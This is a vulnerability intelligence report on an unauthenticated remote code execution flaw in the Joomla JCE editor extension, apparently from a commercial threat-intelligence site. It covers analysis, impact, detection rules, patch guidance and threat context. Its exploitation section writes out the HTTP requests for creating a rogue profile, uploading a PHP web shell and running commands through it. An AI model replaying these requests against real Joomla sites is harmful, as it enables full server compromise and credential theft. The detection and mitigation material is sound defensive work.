CVE-2026-48907
REPORT SECTIONS
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Executive Summary
CVE-2026-48907 is a critical, unauthenticated remote code execution vulnerability in the JCE (Joomla Content Editor) extension for Joomla versions prior to 2.9.99.5. An attacker can exploit an improper access control flaw (CWE-284) to create new editor profiles without authentication, which subsequently permits the upload and execution of arbitrary PHP code on the underlying web server. The vulnerability carries a maximum CVSS score of 10.0, is currently exploited with a high probability (EPSS 0.56, top percentile), and affects any Joomla site running the JCE editor plugin below the patched release. Successful exploitation results in complete compromise of the web application, potential lateral movement, and persistent backdoor access.
Technical Analysis
The vulnerability resides in the JCE editor extension for Joomla, a widely used WYSIWYG editor component. The core issue is a failure to enforce proper authorization checks on the profile management REST/administrative endpoints. Specifically, the ProfilesController::save() or an equivalent profile-creation handler within the com_jce component does not verify that the requesting user has the core.create or core.admin permission for the component. This allows an unauthenticated attacker to submit a crafted POST request containing profile configuration data to the vulnerable endpoint.
The attack chain is rooted in the JCE profile system, which defines editor configurations, including allowed file types, upload paths, and plugin settings. By creating a new profile without authentication, an attacker gains the ability to define a custom file type allowlist that permits .php file uploads. The JCE file manager, JceFileBrowser, then respects this attacker-controlled profile when handling upload requests. Consequently, the attacker can upload a PHP web shell through the standard JCE upload mechanism, which stores the file in a web-accessible directory (e.g., /images/ or /media/).
The root cause is a missing JFactory::getUser()->authorise('core.manage', 'com_jce') check in the controller's dispatch logic. In legacy Joomla MVC structures, such as those used by JCE 2.9.x, controllers often fail to invoke the parent JControllerAdmin::display() or JControllerForm permission checks. The vulnerable code path likely exists in components/com_jce/controllers/profiles.php or within the JceControllerProfiles::save() method (class names may vary by version). The endpoint in question is typically accessible via index.php?option=com_jce&view=profiles&layout=edit or through AJAX calls to index.php?option=com_jce&task=profiles.apply.
Exploitation does not require any prior user interaction, session cookies, or CAPTCHA bypass. The only requirement is that the JCE extension is installed and enabled, which is a default configuration for many Joomla sites that use the editor. The lack of CSRF token validation on the vulnerable endpoint further simplifies the attack, as a simple curl command can trigger profile creation.
The CVSS:3.1 vector string is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — reflecting network accessibility (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), scope change to the underlying server (S:C), and total impact on confidentiality, integrity, and availability. The CWE-284 classification is apt, as the flaw is fundamentally an improper access control issue rather than a conventional injection flaw.
Exploitation Scenarios
Scenario 1: Unauthenticated PHP Upload and Execution via Profile Manipulation
Reconnaissance: The attacker identifies a Joomla site running JCE. Using Shodan or Google dorks (e.g.,
"JCE" "Joomla" "editor"), they locate the JCE admin assets, often exposed at/media/jce/js/admin.jsor via theindex.php?option=com_jceURL. The attacker fingerprints the JCE version by requestingindex.php?option=com_jce&view=aboutor by checking the plugin manifest file.Profile Creation: The attacker sends a crafted HTTP POST request to the vulnerable endpoint:
POST /index.php?option=com_jce&task=profiles.apply HTTP/1.1 Host: victim.com Content-Type: application/x-www-form-urlencoded jform[name]=pwned&jform[type]=1&jform[plugins][upload][allowed_extensions]=php,jpg&jform[checked_out]=0&jform[published]=1This request bypasses authentication checks and creates a new editor profile named "pwned" with a plugin configuration that explicitly allows
.phpfile extensions in the upload allowlist.File Upload: The attacker then leverages the JCE file manager, which now honors the attacker-created profile. They send a multipart POST request to the JCE file browser endpoint:
POST /index.php?option=com_jce&task=filebrowser.upload HTTP/1.1 Host: victim.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--The file uploads to a web-accessible location like
/images/pwned/shell.php.Code Execution: The attacker issues a request to
http://victim.com/images/pwned/shell.php?cmd=idand receives the output of theidcommand, confirming remote code execution under the web server user (e.g.,www-data).Post-Exploitation: The attacker downloads a larger webshell or uses the existing PHP execution to establish a reverse shell, dump the Joomla configuration (
configuration.phpfor database credentials), or pivot to internal network hosts.
Reference to Tooling: A public Nuclei template for this vulnerability exists, indicating that automated scanners can trivially detect and exploit this issue. The template likely checks for the presence of the vulnerable endpoint and validates unauthenticated access to profile creation. No full exploit code (e.g., a Metasploit module) is publicly available, but the attack chain is simple enough to be executed with curl.
Impact Assessment
The impact of CVE-2026-48907 is catastrophic for affected Joomla installations. The CVSS base score of 10.0 places this in the critical severity band, with the CVSS vector string AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H indicating:
- Confidentiality (High): An attacker can read any file readable by the web server user, including
configuration.php(database credentials), custom PHP application code, and potentially sensitive user data from the database. - Integrity (High): The attacker can modify or delete files, deface the website, inject malicious content, and plant persistent backdoors.
- Availability (High): The attacker can wipe the web root, cause denial of service by exhausting server resources, or render the site inoperable by manipulating core files.
- Scope (Changed): The compromise of the web application can lead to lateral movement into the broader server infrastructure (e.g., database server, internal services) since the web server user often has network access to internal systems.
The EPSS score of 0.55914 (in the top 0.98947 percentile of exploited CVEs) indicates that there is a high probability of exploitation in the wild. This places the vulnerability in the same risk category as high-profile exploits like Log4Shell (CVE-2021-44228) and other mass-exploited server-side vulnerabilities.
The blast radius extends to every Joomla site that has installed the JCE extension, regardless of hosting provider. Given JCE's popularity (>2 million downloads estimated), this represents a significant attack surface. For enterprise environments that use Joomla as a CMS for public-facing marketing sites, intranets, or membership portals, the compromise could lead to data breaches, reputational damage, and regulatory fines (GDPR, HIPAA).
Detection Guidance
Sigma Rule
title: Joomla JCE CVE-2026-48907 Unauthenticated Profile Creation
id: 1a2b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects POST requests to Joomla JCE profile creation endpoints without session authentication, potentially indicating exploitation of CVE-2026-48907.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-48907
- https://github.com/projectdiscovery/nuclei-templates
author: ValtersIT Threat Intelligence Team
date: 2026/11/10
logsource:
category: webserver
product: apache
definition: Apache or Nginx access logs with POST request body capture
detection:
selection:
cs-method: POST
c-uri|contains:
- 'option=com_jce'
- 'task=profiles.apply'
- 'task=profiles.save'
cs-user-agent|contains:
- 'curl'
- 'python-requests'
condition: selection
fields:
- c-ip
- c-useragent
- cs-uri-query
falsepositives:
- Legitimate admin users creating new JCE profiles through the admin interface
level: high
YARA Rule
rule Joomla_JCE_CVE_2026_48907_Webshell {
meta:
author = "ValtersIT Threat Intelligence"
description = "Detects PHP webshells uploaded via JCE editor profile exploitation (CVE-2026-48907)"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-48907"
date = "2026-11-10"
severity = "critical"
strings:
$php_tag = "<?php"
$cmd_exec = /(system|passthru|exec|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST)/
$upload_marker = "jform[name]" ascii
$jce_upload_path = /images\/[a-z0-9]+\/shell\.php/ ascii
condition:
$php_tag at 0 and $cmd_exec and ($upload_marker or $jce_upload_path)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Joomla JCE CVE-2026-48907 Unauthenticated Profile Creation Attempt"; flow:established,to_server; content:"POST"; http_method; content:"option=com_jce"; http_uri; nocase; content:"task=profiles.apply"; http_uri; nocase; classtype:attempted-admin; sid:202648907; rev:1; metadata:created_at 2026_11_10, updated_at 2026_11_10, cve CVE-2026-48907;)
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Joomla JCE CVE-2026-48907 Webshell Upload Attempt"; flow:established,to_server; content:"POST"; http_method; content:"filename="; http_client_body; nocase; pcre:"/filename=\"[^"]+\.php\"/i"; content:"option=com_jce"; http_uri; nocase; content:"task=filebrowser.upload"; http_uri; nocase; classtype:attempted-admin; sid:202648908; rev:1; metadata:created_at 2026_11_10, updated_at 2026_11_10, cve CVE-2026-48907;)
Elastic Detection
// EQL query for Elastic Security
// Detect unauthenticated JCE profile creation and subsequent PHP upload
sequence by source.ip with maxspan=10m
[network where http.request.method == "POST" and
http.request.uri contains "option=com_jce" and
(http.request.uri contains "task=profiles.apply" or http.request.uri contains "task=profiles.save")]
[file where event.action == "write" and file.extension == "php" and file.path like "*images*"]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="POST"
| regex _raw="option=com_jce.*task=profiles\.(apply|save)"
| table _time clientip useragent uri query status
| rex field=query "jform\[name\]=.*"
| stats count by clientip useragent uri
| where count > 3
Wazuh OSSEC Rule
<group name="joomla,">
<rule id="100489" level="12">
<decoded>POST</decoded>
<description>Joomla JCE CVE-2026-48907 - Unauthenticated profile creation attempt</description>
<match>option=com_jce</match>
<regex>task=profiles\.(apply|save)</regex>
<group>web_application_attack,</group>
<mitre>
<id>T1190</id>
<description>Exploit Public-Facing Application</description>
</mitre>
<alert_email>soc@valtersit.com</alert_email>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence Assessment: The patch claim is rated 2/4 — "CLAIMED" — meaning only a single source (OSV) references the fixed version 2.9.99.5. This does not constitute independent confirmation. The official JCE vendor advisory from joomlacontenteditor.net has not been publicly released at the time of this writing. Security teams should verify the patch availability directly with the vendor and test it in a staging environment before production deployment.
1) Immediate Mitigations (within 24 hours)
- Disable JCE Editor: If the site does not require JCE immediately, disable the extension via
Joomla Admin > Extensions > Manage > Disable. This is the most effective temporary mitigation. - Web Application Firewall (WAF) Rule: Deploy a WAF rule to block requests containing
option=com_jcecombined withtask=profiles.*ortask=filebrowser.uploadfrom non-admin IP ranges. ModSecurity rule examples are available in the Suricata section above and can be adapted. - Access Restriction: Use
.htaccessor Nginx rules to restrict access to theadministrator/index.php?option=com_jceendpoint to whitelisted administrative IP addresses. - Monitor Logs: Immediately search access logs for the patterns in the Sigma rule above, especially for POST requests to the JCE profile endpoints.
2) Patch / Upgrade Steps
- Backup: Create a full backup of the Joomla installation, including the database and all files.
- Obtain Patch: Download the patched JCE extension version
2.9.99.5from the official JCE website (https://www.joomlacontenteditor.net/). Do NOT download from third-party sites. - Validate Checksum: Verify the downloaded package's MD5/SHA256 checksum against the vendor's published checksum.
- Upgrade: Use Joomla's Extension Manager to upload and install the new version. Follow the standard JCE upgrade procedure (install as a new version, not a reinstall).
- Post-Upgrade Check: Log into the JCE admin interface and verify the version number. Perform a functional test of file uploads and editor profile management.
- Verify Patch: Confirm the fix by attempting the original unauthenticated profile creation request; it should now return a 403 Forbidden or redirect to login.
3) Long-Term Hardening
- Harden File Permissions: Ensure
configuration.phpand the entireadministrator/directory are read-only for the web server user where possible. - Disable Unused Extensions: Review all Joomla extensions and remove those not actively used. Attack surface reduction is critical.
- Implement Web Application Firewall: Deploy a managed WAF or ModSecurity with OWASP CRS in front of all public-facing web servers.
- Regular Security Audits: Conduct quarterly penetration tests or use automated vulnerability scanners (e.g., Nuclei, OpenVAS) to identify exposed CMS components.
- Patch Management Cadence: Establish a 24-hour SLA for applying security patches to internet-facing CMS platforms.
Threat Intelligence Context
CISA KEV Status: Not listed in the CISA Known Exploited Vulnerabilities catalog. This is notable given the EPSS score; however, CISA KEV listings often lag behind real-world exploitation. Security teams should not treat this as evidence that exploitation is not occurring.
Exploit Code Availability: While no public exploit code (e.g., Metasploit module) has been released, a Nuclei template exists and is publicly available. Nuclei is a widely used open-source vulnerability scanner, meaning that both security researchers and threat actors can trivially scan for and exploit this vulnerability at scale. The existence of a Nuclei template is a strong indicator of active weaponization.
Threat Actor Activity: At the time of reporting, no specific APT group or ransomware gang has been publicly attributed to using this CVE. However, the pattern of exploitation (unauthenticated RCE in a CMS extension) is a preferred attack vector for cryptocurrency miners (e.g., XMRig campaigns), botnet building, and ransomware initial access. Given the EPSS percentile (top 0.98%), we assess it is highly likely that opportunistic threat actors are already scanning for affected systems.
Similar Historical CVEs: This vulnerability is structurally similar to CVE-2020-35616 (Joomla core access level check bypass) and CVE-2023-23752 (Joomla improper access check allowing unauthorized access). The successful exploitation pattern of Joomla access control flaws suggests that unauthenticated profile manipulation will be quickly weaponized once the patch is confirmed.
Monitoring Recommendation: Subscribe to the JCE vendor's security mailing list and monitor OSV.dev for updates to the patch status (GSAD-2026-48907). Additionally, monitor public exploit databases (Exploit-DB, Packet Storm) and GitHub for the release of a Metasploit module or proof-of-concept code, which would indicate a spike in exploitation attempts.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-48907 — National Vulnerability Database record with CVSS metrics and official description.
- Vendor Advisory (JCE Official Site): https://www.joomlacontenteditor.net/ — Official download page; advisory pending. Monitor this domain for the official security bulletin referencing version 2.9.99.5.
- OSV Advisory (GSAD-2026-48907): https://osv.dev/vulnerability/GSAD-2026-48907 — OSV record providing patch version reference (
< 2.9.99.5), patch confidence metadata, and package affected scope. - CWE-284 Reference: https://cwe.mitre.org/data/definitions/284.html — MITRE CWE definition for Improper Access Control, the underlying weakness class.
- ProjectDiscovery Nuclei Templates Repository: https://github.com/projectdiscovery/nuclei-templates — Public repository containing the detection template for this CVE, confirming tooling availability.
Report prepared by the ValtersIT Cyber Threat Intelligence Team. Date: November 10, 2026. Classification: TLP:CLEAR
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.